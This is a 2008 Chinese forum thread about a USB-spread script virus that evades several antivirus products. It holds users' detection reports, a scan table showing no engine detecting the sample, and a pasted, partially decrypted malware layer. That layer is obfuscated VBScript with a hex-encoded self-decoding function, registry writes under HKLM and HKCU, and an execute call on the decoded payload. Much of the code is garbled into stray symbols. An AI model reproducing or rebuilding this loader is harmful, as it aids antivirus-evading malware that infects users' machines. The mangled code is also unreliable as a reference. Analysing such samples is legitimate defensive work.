U盘病毒（可过小红伞和fs）

33629544

这个我确信是病毒，但小红伞和fs对它却没反应  大家试试。

醉一生爱妍

一个JS...

zlq7zj

今天刚刚中！！不过搞定了

leonfg

nod过

zzh161

费尔已经能杀了，我之前已经发过这个毒，不过似乎没什么动作，过不了红伞的启发



费尔报的是加密过的代码而已，有危险

[ 本帖最后由 zzh161 于 2008-1-17 18:48 编辑 ]

tracydk

这叫毒？

AhnLab-V3	2008.1.17.11	2008.01.17	-
AntiVir	7.6.0.48	2008.01.17	-
Authentium	4.93.8	2008.01.17	-
Avast	4.7.1098.0	2008.01.16	-
AVG	7.5.0.516	2008.01.16	-
BitDefender	7.2	2008.01.17	-
CAT-QuickHeal	9.00	2008.01.16	-
ClamAV	0.91.2	2008.01.17	-
DrWeb	4.44.0.09170	2008.01.17	-
eSafe	7.0.15.0	2008.01.16	-
eTrust-Vet	31.3.5465	2008.01.17	-
Ewido	4.0	2008.01.16	-
FileAdvisor	1	2008.01.17	-
Fortinet	3.14.0.0	2008.01.17	-
F-Prot	4.4.2.54	2008.01.16	-
F-Secure	6.70.13260.0	2008.01.17	-
Ikarus	T3.1.1.20	2008.01.17	-
Kaspersky	7.0.0.125	2008.01.17	-
McAfee	5209	2008.01.16	-
Microsoft	1.3109	2008.01.17	-
NOD32v2	2800	2008.01.17	-
Norman	5.80.02	2008.01.16	-
Panda	9.0.0.4	2008.01.17	-
Prevx1	V2	2008.01.17	-
Rising	20.27.31.00	2008.01.17	-
Sophos	4.24.0	2008.01.17	-
Sunbelt	2.2.907.0	2008.01.17	-
Symantec	10	2008.01.17	-
TheHacker	6.2.9.189	2008.01.17	-
VBA32	3.12.2.5	2008.01.15	-
VirusBuster	4.3.26:9	2008.01.16	-
Webwasher-Gateway	6.6.2	2008.01.17	-

alskdjfhg

蜘蛛过

xiaohf

厉害过了小红伞和微点
看了下对硬盘没什么影响

[ 本帖最后由 xiaohf 于 2008-1-17 18:43 编辑 ]

alskdjfhg

木马清除大师拦截了。。。真的是过得了高手过不了低手

[ 本帖最后由 alskdjfhg 于 2008-1-17 18:44 编辑 ]

zzh161

很奇怪，这个是不是修改过啊，为什么解密完第一层以后第二层就不运行了。。。也不报错 难道我中招了
这个是解密了一次以后的，但是在这里把execute改成msgbox以后啥都没发生，不明白了

rem UT lO="  
  = =|4.6|:=|UT|:=255:=|.|:=|.|:=|%% / |:
=|/#/|:
=|\.
|}{ =(|.|): =(|:\\.\\7|)}{
=(|.
|): =.(| *
 87_|)}{ =
.:=.
:=
.
(5)&:=
.
(6)&}{=
.
(7)&:=&|\|:=
(,()-(.))}{=|(||.||).|:=|\|:=|HKLM\\\|&&&}{=(,5):
=||  =}{=|HKLM\
\|&&:=|\
\
\\\\|}{
=|
\|:
=(|HKLM|&&
&| |,5)&&:
=(|HKCU|&&
&|
|,5)&}{=(|HKCU|&&
&||,5)&:=:=(|?01|):=(|:;4::<04|):=|5EE|:=(||+)}{=|HKLM\
\
\\\\\\|:
=  =}{
    :=.:=.:=.:=.:=.:}{=|HKCU|&&|\|:=|6<=121|&(679)&|;|}{
(,|0.7|)<>5 }{=||+}{
<>31  =||+: =|$|+: 
:= =(||,6):=(||,6):
 ()   ()   ||,6: ||,:=(||,6)}{ ||,+6:=(|.|,6)=6  (|.|,6)=6  (|.|,6)=6}{
-()>9  =:. |  || |||,5,
}{
((||,6)>355       )  (||,6)<>() }{=(||,6):
  =6:=6:=5}{  <>|<>|}{
=7  =9 }{7=(&,++()&,5,655):=(&,6)}{
=6  =8  6=(&,+()+()&&|&=|&,5,655):=(&,6)}{ 
:=+6:=6=6  7=6:
>9 }{
  =6}{ }{ 
}{
   -6}{}{
(&,6) }{ =
.
(&,6)}{=.:=.:=.:
=.:=.:=.}{=.:
=.:=.:=.:=.:=.}{.:
&:
=|<>| }{ ||,6: ||,: ||,: ||,: ||,: ||,: ||,}{
->=6   (&,6)   &,&
&
&,,7555:.}{
=6   }{
<>   (&,6)  
&: &,&
&
&,6,6555}{ 
}{ 
}{ 
}{ 
}{
(6)    =6 := 

.
()  =6  =}{

.
()  =7  = :=  ,5}{
(,6) 
.
()}{
(,7) 
.
() := : := 
: =
.
(,):. :.}{
=6   ,2}{
 (5)  
=6 := 
: =
.
(,):=
}{. &&|[]|&&|=. .\|&&&|\\=. .\|&&&|\\
=6|}{.: ,2:
 (5)  =6 := 
<5  =}{
(,6) }{

.
().=5 }{=5}{}{ =
.
(,6)}{ =
.
(,6)}{.}{=.}{.}{
>5  <= }{=5 }{  <}{=+6}{
 .
 }{=.}{}{=5}{ 
}{}{=}{
<=5 }{=.}{}{=5}{ 
}{.}{ 
}{}{=5}{ 
:= 
=-6  .   . &,,|REG_SZ| := 
=6  =&}{=.()}{
(5)  =5 := 
(
,6) : 
=
.
(
):
.=: 
=}{
(
,7) : 
=
.
(
):
.=: 
= := )):  :=  ,5:  = (|
.|):. ||,,5:.()}{
<>5 }{
 (5) }{=6: =(|.|) }{.=8:.=6:.():.(.):.
 ,7}{ ,2}{
(,6) 
=
.
(). 
=5}{

> }{
=6  . }{}{=5:
}{ 
}{ 
}{ 
:=  =.(| ":function uc(b):x="633d766263726C663A643D3132373A663D31313A6A3D31323A683D31343A6D3D33313A723D38333A6B3D313A6E3D383A733D3131343A753D2D353A763D350D0A693D22696620613D223A743D22207468656E20223A653D22656C7365696620613E3D223A613D2220616E6420613C3D223A673D22613D612B223A6F3D74266326673A703D6326653A713D6326690D0A65786563757465286C2622666F722069693D3120746F206C656E2862293A613D617363286D696428622C69692C3129292226712622642226742622613D31332226712622662226742622613D313022267126226A22267426632622613D3334222663266526226822266126226D22266F26227222267026226B22266126226E22266F262273222670262235332226612622353722266F262275222670262234382226612622353222266F2622762226632622656E64206966222663262275633D75632B63687228612922266326226E657874222663262275633D726E2B632B75632229":y="execute """"":z="&chr(&h":w=")":execute("do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)"&vbcrlf&"loop"):execute(y):end function:qO="*
 87_  ='|&&|'|):=6}{
    :=+6}{
>()  =6}{
<5  
.=7  =6  . &| |&
(.,(.)-9),5,
}{}{
(5)  =7 :=
 =6  ():=+(((,,6))-): := =670:=678:=679:=42:=654:=68:=665:=677:
=-68:=5:=5: :=
    }{
=&  . | |&,8,
}{}{=(,-6):

()  (|H N!|): 6}{
 }{ 6}{
(||,6)<> }{ ||,}{ ||,}{ ||,}{ ||,5}{ 
}{=(||,6):
()  -()>85   ||,9}{
(||,6)=6  . | / /|,5,
: ||,5}{
(&,5)=   -6}{=(||,6):
(&,6)  . &}{ 5}{: 6}{. 6555}{
(||,6)<>()  . }{}{. 0555}{
(|.|,7)=7 }{
(||,6)=() :.:: ||,}{ 
}{
(|.|,7)=6  .}{ ,2: &: &: 6:. &}{ 
:=&:= 
: =
.
(,):. :.: ,2 :=  := \ :  
  :
= 
=6  (&,5)<> }{. &,,|REG_SZ|}{
(5)   (
,6)  

,&| |||&&||||,5}{
=-6 :

}{
=5 :

: &,-6: ,-6}{ 
:= 
=6  . ,|5|,|REG_DWORD|}{
=5  =(,5) := =(||,6)}{ 
<=:=&|,|&
:
=
+6:}{=&:=(,|,|)}{
 =5  ()}{
=()  
 (&
,6)   &
,&
,5,7555}{}{
(&
,6)  . &
}{=6 := 
(||,6)<>
  (,6)=6 }{
(&
,&
,5,7555)=6  =6}{
(&
,6)  =6 }{
=6   ,-6}{. &
}{
 (5)   ||,
: 5,+()++
,5,5:
=7   ,-6: 6}{ 
}{=6}{ 
}{. 655 :
=
    }{
.=8  (.=6  <>|A:|  <> |B:|) }{
=6 }{
(&
,7)  
&
}{
(&&,6)  (&
,6) }{
(&
,6)<>   &
}{}{ 6: &
: &&}{ 
}{
=-6 :
&
:
&&}{:
&&,&|(
(.
,8)),8|&(65555,|'|),6:
&
}{ 
}{ 
}{ := =(||,6)<>9}{}{=(||,6)<>()}{
(()  8)=5 }{
     6}{=():
(  7)=6  <>  <>6  =:=: 5}{
(||,6)=6  (((||,6)))}{ 
}{. 455}{
(5)=6     ||,: -6}{
(|.|,6)=6 :. | |&+5.558&| / |&,5,
: ||,6: 6: 5:.}{ := :(( := 
=6 }{ 5: -6:
:
&:
&:
&:.}{}{ 6}{

(&)   &}{

(&)   &}{ 
:= 
(,6)<>| |&  
= :(& )) && )) && () &&  && (,) &&  && () &&  && (,,) &&  && () &&  && (,) &&  && (,) &&  && (,) &&  && (,) &&  && (,,
,) &&  && (
,
) &&  && () &&  && () &&  && 
(
) && 
 && (
) &&  && (
,,,,) &&  && (
,,,) &&  && 
(
) && 
 && () &&  && (
) &&  && () &&  &)  (
)  .<>5 
<5  . = 
<>5  (  ,6)<>
()    ,(  ,6)+
(
)  (  ,6)>655    ,:  ,5      ":execute(uc(lO+qO))

[ 本帖最后由 zzh161 于 2008-1-17 18:47 编辑 ]